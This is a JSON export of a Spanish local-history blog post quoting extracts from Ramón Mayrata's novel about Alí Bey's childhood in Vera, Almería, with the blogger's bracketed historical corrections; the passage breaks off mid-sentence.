{"id":2598,"date":"2017-03-17T07:24:46","date_gmt":"2017-03-17T07:24:46","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=2598"},"modified":"2018-01-15T10:38:43","modified_gmt":"2018-01-15T10:38:43","slug":"vera-en-ali-bey-el-abasi-de-ramon-mayrata","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2017\/03\/17\/vera-en-ali-bey-el-abasi-de-ramon-mayrata\/","title":{"rendered":"VERA EN \u00abAL\u00cd BEY EL ABAS\u00cd\u00bb, DE RAM\u00d3N MAYRATA"},"content":{"rendered":"<p>Me ha parecido interesante a\u00f1adir extractos de esta novela hist\u00f3rica sobre Al\u00ed Bey (proporcionada por Gabriel Flores Garrido), \u00abAl\u00ed Bey el abas\u00ed\u00bb. Creemos que el autor, Ram\u00f3n Mayrata, retrata de una manera fiel el ambiente en que vivi\u00f3 Domingo Bad\u00eda y su familia en Vera, aconsejando a los lectores la adquisici\u00f3n del mismo.<\/p>\n<p><!--more--><\/p>\n<p><strong>EXTRACTO DE LA NOVELA HIST\u00d3RICA <em>AL\u00cd BEY EL ABAS\u00cd. UN CRISTIANO EN LA MECA<\/em>, de Ram\u00f3n Mayrata (editorial Planeta, 1995, fol. 39).<\/strong><\/p>\n<p>(\u2026) Aquella noche mi padre mi hizo llamar y me pidi\u00f3 uno de los mapas que yo hab\u00eda copiado en la escuela de la Lonja (\u2026) Cuando despleg\u00f3 el mapa yo no pude dejar de identificar en las l\u00edneas sinuosas de las costas del sur de Espa\u00f1a y del norte de \u00c1frica cierto parecido con los rostros p\u00e9treos de los soldados que hab\u00eda visto dibujar aquella tarde. Mi padre aplast\u00f3 con el dedo un saliente de la costa y me explic\u00f3 que muy pronto nos trasladar\u00edamos all\u00ed. Acababa de recibir el nombramiento de comisario de Guerra del <strong>partido de Vera<\/strong>, en el litoral de Almer\u00eda. Mi madre se acerc\u00f3 y, al inclinarse sobre el mapa, sus ojos azules, duros como lapisl\u00e1zuli, me produjeron un efecto impresionante. Una l\u00e1grima rebelde rebas\u00f3 la l\u00ednea tirante del p\u00e1rpado y cay\u00f3 con peso de plomo sobre el mar seco y liso, pintado en el papel. Fue el \u00fanico gesto de queja que dej\u00f3 escapar ante un destino que la apartaba definitivamente de su ciudad. Mi padre no lo advirti\u00f3. Estaba ocupado, explicando a sus contertulios las peculiaridades del sistema de defensa contra la pirater\u00eda.<\/p>\n<p>-En el mar de Albor\u00e1n -detallaba, mientras su \u00edndice navegaba por el mapa- entre el cabo de Gata espa\u00f1ol y el tres Forcas africano, se estrecha el Mediterr\u00e1neo que ha de pasar por la angosta puerta del estrecho de Gibraltar. A modo de parteluz, la diminuta isla de Albor\u00e1n escinde y acecha el tr\u00e1fico mar\u00edtimo. En la orilla espa\u00f1ola, desde Gibraltar hasta Vera se suceden las atalayas de vigilancia, enriscadas en los farallones rocosos de una costa muy accidentada. Id\u00e9ntico cometido cumplen en la orilla africana los presidios de Ceuta, Melilla y Or\u00e1n y los pe\u00f1ones de V\u00e9lez y de Alhucemas. Son nuestros ojos en el otro continente. Por desgracia, desde Argel, tras el fracaso de la expedici\u00f3n, miles de ojos nos esp\u00edan, a los cuales no vemos.<\/p>\n<p>Tampoco era capaz de avistar los ojos de mi madre que, inm\u00f3viles como un cielo firme y sosegado, acababan de conformarse a su destino.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/IMG_9009.png\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone wp-image-2592\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/IMG_9009.png\" alt=\"\" width=\"387\" height=\"258\" \/><\/a><\/p>\n<p><u><strong>LA COSTA DE LOS PIRATAS<\/strong><\/u><\/p>\n<p>En Vera no exist\u00eda fortaleza alguna. Para quienes est\u00e1bamos acostumbrados a vivir en un mundo cerrado y altanero, el contacto con las calles y el vecindario resultaba de una proximidad insolente. El ajetreo lento y cadencioso de la ciudad andaluza traspasaba las enjutas paredes de nuestra casa. Tard\u00e9 en acostumbrarme a aquella intemperie ante los ruidos y silencios, movimientos y olores que saturaban sigilosamente la poblaci\u00f3n y que, por las noches, me soliviantaban hasta recelar que unos pasos desconocidos penetraban en nuestro domicilio y se aproximaban hacia la puerta de mi dormitorio.<\/p>\n<p>La ausencia de un alc\u00e1zar que protegiera y vigilara la villa se deb\u00eda a que la ciudad antigua hab\u00eda sido demolida por un terremoto dos siglos y medio antes y reconstruida en el llano, a orillas del r\u00edo Almanzora que los \u00e1rabes llamaron wadi Baira o r\u00edo de Vera, ce\u00f1ida por un cerco amurallado pero sin castillo, a un tiro de ballesta del cerro del Esp\u00edritu Santo donde se alzaba hasta entonces., El d\u00eda anterior las campanas de la aldea cercana de Lubr\u00edn repicaron sin que nadie las voltease. La tierra vacil\u00f3 como si estuviera embriagada y se removieron los objetos de metal ocultos celosamente en las arcas. El 9 de noviembre de 1518 el suelo se rasg\u00f3 como una s\u00e1bana vieja y la ciudad entera se desplom\u00f3. De la fortaleza, los templos y las casas no qued\u00f3 m\u00e1s que un informe mont\u00f3n de cascotes, cubierto por una nube de polvo. Cuando la polvareda se desvaneci\u00f3 el cerro ofrec\u00eda el aspecto de un desierto donde jam\u00e1s hubiera existido ciudad alguna.<\/p>\n<p>La sensaci\u00f3n de intemperie se dilataba all\u00e1 donde alcanzaba la mirada. El pa\u00eds era una estepa ruda, luminosa y extra\u00f1a, cruzada por un brusco camino carretero que conduc\u00eda a Lorca, por el que hombres y animales desaparec\u00edan tras las columnas de polvo, de blancura deslumbradora, que se desprend\u00edan como humo del hosco suelo de la senda. En el campo de Vera, donde proliferaba el cereal, desde el tiempo verde de los nazar\u00edes presist\u00edan la vid y el olivo, las legumbres y hortalizas y las frutas de pepita y hueso, al pie de cerros solitarios y dispersos, de una aridez sobrecogedora. Aqu\u00ed y all\u00e1 se manten\u00eda en pie el tronco devastado y sin ramas de alguna morera. A partir de la expulsi\u00f3n de los \u00faltimos moriscos, ciento cincuenta a\u00f1os atr\u00e1s, se hab\u00eda ido arruinando poco a poco la cr\u00eda del gusano de seda porque los nuevos pobladores que los reemplazaron carec\u00edan de la sutil habilidad que exig\u00eda su cuidado y manufactura. A diferencia de los moriscos, no eran hortelanos, sino labradores de cereal y, como precisaban vastas extensiones de secano para asegurar la rotaci\u00f3n de sus cultivos, hurtaban la monte la tierra que les faltaba, abancalando las laderas m\u00e1s accesibles. El terreno llano apenas era una grieta en un territorio montuoso, en el que la sierra de Lubr\u00edn se encadenaba a la de Filabres y \u00e9sta a su vez descend\u00eda por las cortadas de las sierras m\u00e1s bajas de B\u00e9dar, Almagrera y Cabrera, hasta la ribera del Mediterr\u00e1neo.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/0024-detalle-contraste.jpg\"><img decoding=\"async\" class=\"alignnone wp-image-2602\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/0024-detalle-contraste.jpg\" alt=\"\" width=\"379\" height=\"485\" \/><\/a><\/p>\n<p>La ciudad nueva se agazapaba, en las entra\u00f1as de aquella fortaleza natural, preservada de la proximidad de la costa, pero el miedo se infiltraba en ella, impregnado en el olor salobre y en las rachas de brisa azul que llegaban desde el mar cercano. En toda la cuenca del Mediterr\u00e1neo, musulmanes y cristianos sosten\u00edan una contienda interminable. Tras la batalla de Lepanto concluy\u00f3 la lucha que arrostraban las grandes escuadras, pero la guerra prosigui\u00f3, amparada en una vieja tradici\u00f3n. La pirater\u00eda era, desde antiguo, una forma de vida en los pa\u00edses ribere\u00f1os. Con el impulso del despecho y el odio entre las dos religiones, excedi\u00f3 en furor a las olas y al viento que agitan las aguas del mar. Ya no hubo alguno de calma y un tr\u00e1fico odioso de hombres y mercanc\u00edas robadas recalaba en una u otra orilla bajo la indiferencia del cielo, cristiano o musulm\u00e1n, surcado por las bandadas de p\u00e1jaros que emigraban de uno a otro continente.<\/p>\n<p>En Vera se viv\u00eda aquella lucha con la inquietud de las ciudades fronterizas. Los embates de las razzias romp\u00edan a los pies de sus costas, enclavadas frente a las regencias berberiscas que tutelaba, en la ribera opuesta, el Imperio otomano. Del mar proced\u00eda la honda sensaci\u00f3n de intemperie que invad\u00eda toda la regi\u00f3n. Era el miedo y no la aridez quien hab\u00eda despoblado las vastas extensiones que asediaban a la ciudad como a un oasis y hab\u00eda acabado desterrando al hombre del litoral inseguro. A partir del cabo de Gata, la costa se doblaba hacia el noroeste, rocosa y escarpada hasta Moj\u00e1car, pero acuchillada por agudos entrantes y ensenadas que serv\u00edan de cobijo a las ligeras embarcaciones de los piratas. En la desembocadura del Almanzora se abr\u00eda de par en par y se desbarataba en las playas despejadas de Garrucha, frente a la tierra llana de Vera. Seis atalayas de piedra, herm\u00e9ticas como esfinges, vigilaban los arenales azotados por el viento. En cada una de las dos o tres guardias amodorrados por el murmullo de las olas hac\u00edan la escucha al tiempo que la caballer\u00eda de costa ejecutaba el atajo entre torre y torre.<\/p>\n<p>A mi padre le hab\u00edan encomendado reorganizar este sistema de alarma, ahora m\u00e1s indispensable que nunca tras el desastre de la expedici\u00f3n de Argel. Su cargo de comisario de Guerra le convert\u00eda en el jefe de la administraci\u00f3n militar de la zona, con categor\u00eda equivalente a la de teniente coronel. Aunque sus funciones eran primordialmente de intendencia e intervenci\u00f3n, de sus tino para administrar los recursos de la hacienda del rey depend\u00eda el mantenimiento de los reductos y hornabeques que se suced\u00edan a lo largo del litoral, la dotaci\u00f3n de guardas y torreros y la puesta a punto del resto de las tropas de infanter\u00eda urbana y caballer\u00eda de costa.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/plano-coello-1855-a-PEQ.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-2599\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/plano-coello-1855-a-PEQ.jpg\" alt=\"\" width=\"1134\" height=\"1278\" \/><\/a><\/p>\n<p>A pesar de mi corta edad, mi padre estaba empe\u00f1ada en adiestrarme en su oficio. Subido a la grupa de su caballo, con las manos aferradas a los alamares de plata del forro amarillo de su casaca, le acompa\u00f1aba en sus expediciones peri\u00f3dicas a lo largo de la frontera sinuosa del mar, por las playas de Charcos Bermejos, el Mastel o el Bol de Melvas y los altos de Villaricos y Montroy. Durante muchas leguas el rugido desgarrador de las olas o su silencio cauteloso eran nuestra \u00fanica comitiva. Desde la tierra examin\u00e1bamos con inquietud cualquier vela que rasgu\u00f1ase el horizonte y, en ocasiones, en nuestro catalejo se agitaban los colores abigarrados de las indumentarias de las tripulaciones musulmanas, revueltas sobre el puente de alguna embarcaci\u00f3n distante, en al que present\u00edamos la mirada codiciosa y audaz del arr\u00e1ez en la extremidad de otro catalejo id\u00e9ntico.<\/p>\n<p>Tambi\u00e9n comprobamos el pavor que atenazaba a los guardianes de las atalayas. Al principio, mi padre se impuso la exigencia de sorprenderlos para verificar el cumplimiento de sus obligaciones. Se aproximaba cautelosamente hasta la escalerilla y acompa\u00f1aba la inesperada irrupci\u00f3n de su cabeza por la escota con un juramento airado. M\u00e1s de una vez, sus imprecaciones resonaron en el recinto deshabitado, donde s\u00f3lo encontr\u00f3 algunas botellas vac\u00edas de aguardiente, pues los vig\u00edas hab\u00edan abandonado sus puestos para ir a dormir secretamente al resguardo de la ciudad. Pero en la mayor\u00eda de las oportunidades, cuando su rostro emerg\u00eda por el agujero de la atalaya, se topaba con un par de muchachos aterrorizados, ovillados junto a la pared, con la vista prendida en el parpadeo de la luz de una vela o en el p\u00e1bilo tembloroso de una l\u00e1mpara de aceite.<\/p>\n<p>Todas aquellas impresiones iban vaciando en mi alma el recuerdo del luminoso mar de mi infancia, colmado de promesas, e infiltrando en su lugar un mar sombr\u00edo y amenazador como una ci\u00e9naga. Por fortuna nuestras correr\u00edas acababan a menudo en el puerto de Garrucha, en el que las embarcaciones, apaciguadas sobre el agua sumisa y sin color, parec\u00edan sustentarse en el aire. Su escaso calado s\u00f3lo permit\u00eda la navegaci\u00f3n de cabotaje. Largas recuas de mulas gigantescas, de ojos indiferentes, cargadas hasta los topes, acarreaban hasta el muelle el trigo, la cebada, el ma\u00edz, el c\u00e1\u00f1amo y el lino que produc\u00edan los llanos de Vera y la plata y el plomo de las sierras.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/vera-nueva-en-c\u00f3mic.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2600\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/vera-nueva-en-c\u00f3mic.jpg\" alt=\"\" width=\"1474\" height=\"560\" \/><\/a><\/p>\n<p>En las aguas de aquel puerto, mecidas por la respiraci\u00f3n del mundo exterior, naufragaban mis negros pensamientos. Todos los pescadores de las barcas de j\u00e1beja [j\u00e1bega] y de los palangreneros, al igual que los marinos de cabotaje, hab\u00edan servido en los bajeles reales que se enfrentaban al corso, pues para obtener la matr\u00edcula que los habilitaba para ejercer su profesi\u00f3n era condici\u00f3n indispensable ese tributo. Algunos hab\u00edan sido ellos mismos corsarios. Descubr\u00ed que no era \u00e9sta una actividad reservada a los musulmanes. Cualquier nave, incluso una humilde tartana, pod\u00eda ser artillada y su patr\u00f3n, tras solicitar patente de corso en la Intendencia de Marina, echarse a la mar para alcanzar su propio provecho y proveer a la Corona de esclavos para los arsenales, las minas de Almad\u00e9n o las obras p\u00fablicas. Otros hab\u00edan sido hu\u00e9spedes forzosos de los presidios reales y ahora se ocupaban de su suministro y abastecimiento. Unos pocos recordaban sus penalidades de cautivos en las ciudades corsarias de la otra orilla. Los relatos de aquellos hombres desamparados lograron desterrar el miedo del ni\u00f1o asustado que yo era entonces, trocando el temor en esperanza.<\/p>\n<p>Escuchaba at\u00f3nito la cr\u00f3nica interminable de sus aventuras y desventuras en las que la fortuna y la desgracia se deslizaban con la fluidez de la sangre en las arterias, y la dicha y la desdicha se suced\u00edan con la naturalidad con que los dais dorados de calma reemplazan al furor de las galernas en el mar. Con la curiosidad hechizada y perpleja, tambi\u00e9n medrosa, de un ni\u00f1o habituado a una vida resuelta desde la cuna, preservado por mi familia de los riesgos m\u00e1s extremados del destino, mi imaginaci\u00f3n siempre estaba dispuesta a zarpar tras sus palabras. Los sigui\u00f3, estremecida, hasta el umbral de poniente donde aguardaba una lluvia cerrada de balas, sinti\u00f3 el crujido seco de la madera de la borda estrangulada por la corva agalla de hierro que inicia el abordaje, reconoci\u00f3 el rostro de los ahogados y desaparecidos conjurado por el recuerdo en sus tumbas de agua, salt\u00f3 por el aire en el barco estrellado contra los farallones y experiment\u00f3 el desconsuelo del hombre que se acuesta libre en un continente y se despierta cargado de cadenas en otro distinto.<\/p>\n<p>Pero tambi\u00e9n gracias a aquella imaginaci\u00f3n generosa y entregada del ni\u00f1o para el que la vida es sobre todo horizonte, obtuve mi parte en el bot\u00edn. La m\u00e1s preciada. Sus sue\u00f1os. Casi sin darse cuenta, aquellos hombres de condici\u00f3n humilde me traspasaron su fascinaci\u00f3n hacia una vida en la que la libertad de acci\u00f3n y la posibilidad de enriquecerse no eran una quimera. Hablaban con an\u00e1loga admiraci\u00f3n del corsario mallorqu\u00edn Barcel\u00f3, quien acababa de ser promovido a almirante de la Armada espa\u00f1ola, y de los arr\u00e1eces adversarios, de los que nunca omit\u00edan resaltar sus or\u00edgenes. Algunos proced\u00edan de Turqu\u00eda o del Magreb, pero la mayor\u00eda nacieron en cunas humildes y cristianas, como ellos mismos. Andaluces, calabreses, sardos, valacos, bohemios, catalanes, genoveses, sicilianos, marselleses, grieggos, flamencos, canarios, portugueses. Borgo\u00f1ones, castellanos, baleares, bretones y napolitanos y hasta abisinios de los dominios del Preste Juan e indios de la Nueva Espa\u00f1a hab\u00edan enderazado su fortuna en las ciudades cosmopolitas de Argel, Tr\u00edpoli o T\u00fanez. Aqu\u00e9lla fue la primera vez que escuch\u00e9 la palabra renegado con la que andando el tiempo habr\u00eda de tropezar, en circunstancias muy distintas, arrojada como una flechas contra m\u00ed.<\/p>\n<p>Sin embargo yo nunca fui un renegado. Aunque me despoj\u00e9 de las ropas de cristiano y adopt\u00e9, durante a\u00f1os, el porte y la conducta de un musulm\u00e1n, con el nombre de Al\u00ed Bey, bajo uno y otro atav\u00edo siempre he sentido la intensa desnudez de un mismo cuerpo. \u00bfNo compart\u00edan Bad\u00eda y All\u00ed Bey una \u00fanica respiraci\u00f3n, id\u00e9nticos m\u00fasculos, dos ojos solitarios?\u00bfFue distinto el dolor y el placer de Bad\u00eda al dolor y al placer de Al\u00ed Bey? Jam\u00e1s uno sojuzg\u00f3 al otro. Bad\u00eda y Al\u00ed Bey compartieron, por igual, sus convicciones y sus incertidumbres. Ninguno troc\u00f3 una fe por otra distinta como se canjea un escudo o un real de ocho por veinte reales de vell\u00f3n. Cuando ambos compart\u00edan un mismo nombre y se amalgamaban en la personalidad a\u00fan sin formar de un ni\u00f1o, empezaron a comprender, en el muelle del puerto de Garrucha, que aquel mar de cautivos, era tambi\u00e9n un mar de hombres libres. Pocas regiones viv\u00edan en tan constante teror e inseguridad, pero en casi ninguna de ellas la audacia, el arrojo y la determinaci\u00f3n pod\u00edan prevalecer ante los impedimentos del linaje, la nacionalidad o la religi\u00f3n. Para muchos de aquellos hombres, la libertad era un sentimiento simple, di\u00e1fano, que sustitu\u00eda a las leyes y emplazaba en su lugar una mezcla de ardor por la vida y desd\u00e9s hacia la muerte. Por eso nunca fui un renegado: porque jam\u00e1s me desprend\u00ed de aquella fe elemental, de aquella emoci\u00f3n rudimentaria que trastornar\u00eda siempre el coraz\u00f3n compartido de Bad\u00eda y de Al\u00ed Bey.<\/p>\n<p><u><strong>EL BUSTO REGIO<\/strong><\/u><\/p>\n<p>Desde que lleg\u00f3 el buen rey, con su larga nariz blanca y sus ojos de m\u00e1rmol bondadoso, hubo un antes y un despu\u00e9s en Vera. Aunque los cambios m\u00e1s sustanciales eran de naturaleza inferior, sus manifestaciones visibles no resultaban dif\u00edciles de apreciar para un muchacho observador. Cuando atravesaba las calles de la ciudad para ir a la escuela, comprobaba, d\u00eda a d\u00eda, c\u00f3mo los suspiros, las quejas frente a las dificultades de la vida y las imprecaciones al Alt\u00edsimo enmudec\u00eda ante loas risas frescas de unas muchachas que pasaban, la alegr\u00eda de unos labios que cantaban tras una celos\u00eda o la firmeza de unos pasos que se alejaban ligeros hacia el trabajo. Parec\u00eda que la poblaci\u00f3n, hasta hac\u00eda poco sombr\u00eda y desdichada hasta la deformidad, se hubiera remozado y florecido al igual que los \u00e1rboles y las plantas de la regi\u00f3n tras un largo invierno.<\/p>\n<p>Yo ten\u00eda trece a\u00f1os y la mayor parte del tiempo estaba dispensado de llevar casaca por el calor. Vest\u00eda un calz\u00f3n celeste y una chupa blanca, cruzada por una cinta verde que sosten\u00eda una medalla de plata en la que un coraz\u00f3n desprend\u00eda intensas llamaradas, rodeado por una corona de laurel y la inscripci\u00f3n: \u00abVuelo, ardo y me corono\u00bb. Era la medalla de la escuela de la latinidad que hab\u00eda ganado en los \u00faltimos ex\u00e1menes p\u00fablicos.<\/p>\n<p>Faltar\u00eda a la verdad si dijera que las impresiones sencillas y espont\u00e1neas, nacidas del contacto con los marineros y pescadores analfabetos de Garrucha, constituyeron el \u00fanico fundamento de mi educaci\u00f3n. Su visi\u00f3n descarnada y escueta de la vida no era la \u00fanica disponible en la mortificada costa de los piratas. Poco antes de nuestra llegada a Vera se hab\u00eda fundado una Sociedad de Amigos del Pa\u00eds, semejante a las que ya exist\u00edan en Vascongadas y Madrid. Las clases acomodadas se hallaban comprometidas con una excitante empresa. Previamente, el Consejo de Castilla hab\u00eda enviado algunos ejemplares del <em>Discurso sobre el Fomento de la Industria Popular<\/em> de don Pedro de Campomanes. Fue la simiente. Jam\u00e1s libro alguno provoc\u00f3 tanto entusiasmo. Sus ideas embelesaron a los veratenses m\u00e1s ilustrados. Las propagaron con tal fervor que, en pocos meses, despertaron a un pueblo dormido.<\/p>\n<p>Hasta aquel d\u00eda inesperado el libre esp\u00edritu asociativo s\u00f3lo pod\u00eda ejercitarse en las cofrad\u00edas piadosas o profesarse en los conventos. Pero por una vez se aunaron las volluntados de nobles, cl\u00e9rigos, oficiales de la administraci\u00f3n, comerciantes y maestros de los oficios, para un asunto que ten\u00eda que ver con la felicidad terrena. Tan s\u00f3lo se opuso el alcalde, hombre malicioso y ciegamente autoritario, de quien se aseguraba que cada vez que se ve\u00eda obligado a decir que s\u00ed ten\u00eda que buscar la palabra en un polvoriento diccionario, pues las afirmaciones se hab\u00edan desvanecido en su memoria por falta de uso [*Manuel Serrano y Cillero]. Poco pudo hacer contra una representaci\u00f3n tan autorizada y mayoritaria de la ciudad, m\u00e1s que negarse a que usaran las salas del ayuntamiento para celebrar sus reuniones.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/CARLOS-III-A.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2601\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/CARLOS-III-A.jpg\" alt=\"\" width=\"1057\" height=\"1600\" \/><\/a><\/p>\n<p>Por entonces la sociedad hab\u00eda encargado un busto del rey Carlos III a la Academia de San Fernando de Madrid. La tarde que lleg\u00f3 a Vera fue recibido con una alegr\u00eda desbordante. Le condujeron inmediatamente a la iglesia de Nuestra Se\u00f1ora de la Encarnaci\u00f3n, donde se guardaba el pend\u00f3n de los Reyes Cat\u00f3licos. All\u00ed fue situado a la derecha del evangelio y presidi\u00f3 el Ted\u00e9um y la <em>Oratio pro rege<\/em> en su honor. Al concluir el oficio religioso, los socios se agruparon en el atrio y trasladaron en procesi\u00f3n la augusta efigie hasta el ayuntamiento. Por el camino se les sumaron espont\u00e1neamente algunos oficiales y soldados del regimiento de caballer\u00eda de costa, a modo de una escolta improvisada. En la muralla, el jefe de la guardia orden\u00f3 disparar las salvas de ordenanza y el alcalde se asom\u00f3 despavorido al balc\u00f3n, con la espada desnuda, dispuesto a hacer frente a un mot\u00edn. Pero a la vista del retrato real y de la muchedumbre ferviente que le acompa\u00f1aba dej\u00f3 caer el arma y se desplom\u00f3 de rodillas. Se hab\u00eda quedado completamente solo en su oposici\u00f3n a la sociedad y, al fin, se vio obligado a ceder como una \u00fanica gota de agua no puede obstinarse en permanecer suspendida en la nube que se deshace en lluvia. Les franque\u00f3 la puerta de la Casa Consistorial y les otorg\u00f3 su consentimiento para que dispusieran de los salones siempre que tuvieran necesidad de ellos.<\/p>\n<p>Las gentes m\u00e1s desvalidas de Vera otorgaron al busto regio el poder de obrar milagros. Pero el verdadero milagro se produjo cuando la generosidad apasionada y, al tiempo, indolente, arraigada durante siglos por la caridad cristiana en el car\u00e1cter de las clases rectoras del pa\u00eds, logr\u00f3 sacudirse la resignaci\u00f3n, la intolerancia y la desidia y, por primera vez, llam\u00f3 en su ayuda a las luces de la raz\u00f3n. Las clases m\u00e1s favorecidas no s\u00f3lo manten\u00edan el prop\u00f3sito de mitigar y hacer m\u00e1s tolerable la miseria del a poblaci\u00f3n, mediante fundaciones piadosas o asistenciales como hab\u00edan venido haciendo hasta entonces, tambi\u00e9n se hallaban decididas a tajar sus causas. Piedad y raz\u00f3n se conciliaron y se reconocieron mutamente necesarias, pues como apuntaba con gracejo andaluz el presidente de la sociedad cada que una discusi\u00f3n se apartaba de los fines propuestos: \u00abJsin coraz\u00f3n, tampoco tiene raz\u00f3n vuesa merced.\u00bb<\/p>\n<p>Mi padre se incorpor\u00f3 con entusiasmo a las sesiones de trabajo de la sociedad que principiaban, antes de sentarse en torno a la mesa, con el rezo del <em>Veni creator Spiritus<\/em> al Padre de las luces y conclu\u00edan, al separarse, con el <em>Agimus tibi gratias<\/em>. En ella encontr\u00f3 un ambiente semejante al que animaba su tertulia de Barcelona, con la ventaja de que la sociedad reci\u00e9n constituida establec\u00eda un cauce preciso para llevar a la pr\u00e1ctica muchas de las ideas nuevas que hab\u00edan contribuido a desarrugarle el ce\u00f1o. Con el tiempo lleg\u00f3 a convertirse en secretario de la corporaci\u00f3n.<\/p>\n<p>Los socios discurrieron un plan ciertamente ambicioso consagrado a fomentar la industria popular, la agricultura y la educaci\u00f3n. Para ello se dividieron en un buen n\u00famero de comisiones que daban cuenta de la amplitud de sus afanes y entend\u00edan de la asistencia a enfermos, el empleo de holgazanes, la crianza y educaci\u00f3n de ni\u00f1os y ni\u00f1as pobres, la mejora de la agricultura, la cr\u00eda de ganados, el plant\u00edo de \u00e1rboles y las pesquer\u00edas, la creaci\u00f3n de manufacturas y f\u00e1bricas, el crecimiento del tr\u00e1fico y comercio interior, el desarrollo de la navegaci\u00f3n, la difusi\u00f3n de las ciencias y las artes \u00fatiles y el estudio de la historia natural del territorio.<\/p>\n<p>Pronto sus deliberaciones pudieron prolongarse a lo largo de un flamante paseo, que discurr\u00eda entre \u00e1lamos reci\u00e9n plantados, extramuros de Vera. Fue uno de sus primeros logros, ciertamente emblem\u00e1tico, pues en sus sucesivas actuaciones dispensaron a la ciudad y a sus habitantes el trato que un jardinero esmerado otorga a un jard\u00edn. El busto del rey Carlos III fue testigo mudo y patriarcal de su labor provechosa. La venerada estatua no daba abasto para cudir de aqu\u00ed para all\u00e1, acarreada en andas, a presidir la reforma del hospital, la inauguraci\u00f3n de las escuelas gratuitas para los pobres del arrabal, los ex\u00e1menes p\u00fablicos de la nueva escuela de latinidad o la apertura del fascal del esparto en el que obtuvieron trabajo quinientos hombres y mujeres sin oficio.<\/p>\n<p>El pueblo llano transform\u00f3 sus v\u00edtores al busto regio en jaculatorias.<\/p>\n<p>-\u00a1No es un santo! -se desga\u00f1itaba don Diego Reinoso, sacerdote beneficiado de la parroquia de Vera y uno de los miembros m\u00e1s activos de la sociedad-. \u00a1Es un rey! [* en realidad, los curas de Vera de esos a\u00f1os, demostrado documentalmente, fueron don Bartolom\u00e9 Antonio Ruiz, don Diego Baraza Salas, Bartolom\u00e9 Cervantes y Francisco Garc\u00eda. El autor quiz\u00e1 lo confunde con Diego Miguel Garc\u00eda Reynoso, cura en 1750, nombrado en el Catastro de Ensenada].<\/p>\n<p>Don Pedro Antonio Antonio Chac\u00f3n [*no fue vecino de Vera], de aficiones volterianas, parafraseaba a Iriarte.<\/p>\n<p>-D\u00edjole la zorra al busto despu\u00e9s de olerlo: tu cabeza es hermosa pero sin seso.<\/p>\n<p>El presidente clausuraba, ir\u00f3nico, la discusi\u00f3n.<\/p>\n<p>-Sigamos situando nuestros pensamientos, se\u00f1ores, bajo la protecci\u00f3n de la soberana peluca de su majestad.<\/p>\n<p>Algunos de aquellos pensamientos e iniciativas eran tan simples como razonables, lo cual les permiti\u00f3 obtener grandes logros con muy pocos medios. En las faldas de las sierras que cercaban Vera el esparto crec\u00eda espont\u00e1neamente, entre otras plantas bravas, pero nadie sab\u00eda efectuar las maniobras indispensables para prepararlo para la confecci\u00f3n de sogas, maromas, sacas, talegos, espuertas, alpargatas, esparte\u00f1as y escobas de palma. La sociedad indag\u00f3 las t\u00e9cnicas de majado y labrado en fascal y levant\u00f3 una f\u00e1brica donde estas labores, que requer\u00edan el concurso de numerosos brazos, proporcionaron modestos medios de subsistencia pero un gran caudal de dignidad a los harapientos jornaleros y a muchas mujeres que hasta entonces se ve\u00edan obligadas a la iniquidad de pedir de puerta en puerta.<\/p>\n<p>Desde el advenimiento providencial del busto regio todo el mundo parec\u00eda tener motivos para sentirse satisfecho. Su presencia hab\u00eda contribuido a alentar en los pudientes un modo de comportarse sagaz, filantr\u00f3pico y resuelto que s\u00f3lo unos meses antes habr\u00eda resultado impensable. En la aquiescencia inm\u00f3vil del rostro marm\u00f3reo del soberano ve\u00edan reflejada la majestad de sus propios actos. Por su parte los pobres advert\u00edan en la bendita imagen un g\u00e9nero de santo al que dirigir sus preces y peticiones menos lun\u00e1tico y m\u00e1s entendido e industrioso que los patronos tradicionales del pueblo.<\/p>\n<p>Yo, sin embargo, desde hac\u00eda alg\u00fan tiempo me sent\u00eda amedrentado en su presencia. Sin saber por qu\u00e9 present\u00eda alguna clase de amenaza en la mirada opaca del busto del rey que, coronado de laurel, presid\u00eda el aula de la escuela de latinidad los d\u00edas que nose ve\u00eda precisado a acudir a alg\u00fan acto p\u00fablico. Le\u00eda una y otra vez con recelo, sin comprender, la inscripci\u00f3n grabada en la peana: <em>Por el Padre verdadero de la patria y bien de ella. <\/em>Me sobrecog\u00eda imaginar que sus labios quietos estaban a punto de abrirse para exigir de m\u00ed un sacrificio terrible.<\/p>\n<p>Hasta entonces hab\u00eda sido un alumno ejemplar como atestiguaba la medalla que colgaba en mi pecho sostenida por una cinta verde. Hab\u00eda obtenido excelentes calificaciones en gram\u00e1tica espa\u00f1ola y latina, historia, ortograf\u00eda, religi\u00f3n, pol\u00edtica y literatura. Y sobre todo en geograf\u00eda, mi asignatura predilecta. Pero en los \u00faltimos meses la escuela se hab\u00eda convertido para m\u00ed en un suplicio. Mi padre hab\u00eda dado instrucciones a don Manuel S\u00e1nchez [*efectivamente, era el preceptor de gram\u00e1tica de aquellos a\u00f1os -viv\u00eda en la Calle de las Galindas, Luna-, en 1797], mi profesor, de que reforzara las clases pr\u00e1cticas. Desde entonces ocupaba la mayor parte del horario lectivo en la redacci\u00f3n de oficios y formularios orientados al desempe\u00f1o de empleos p\u00fablicos.<\/p>\n<p>Yo era s\u00f3lo un muchacho. \u00a1Hasta qu\u00e9 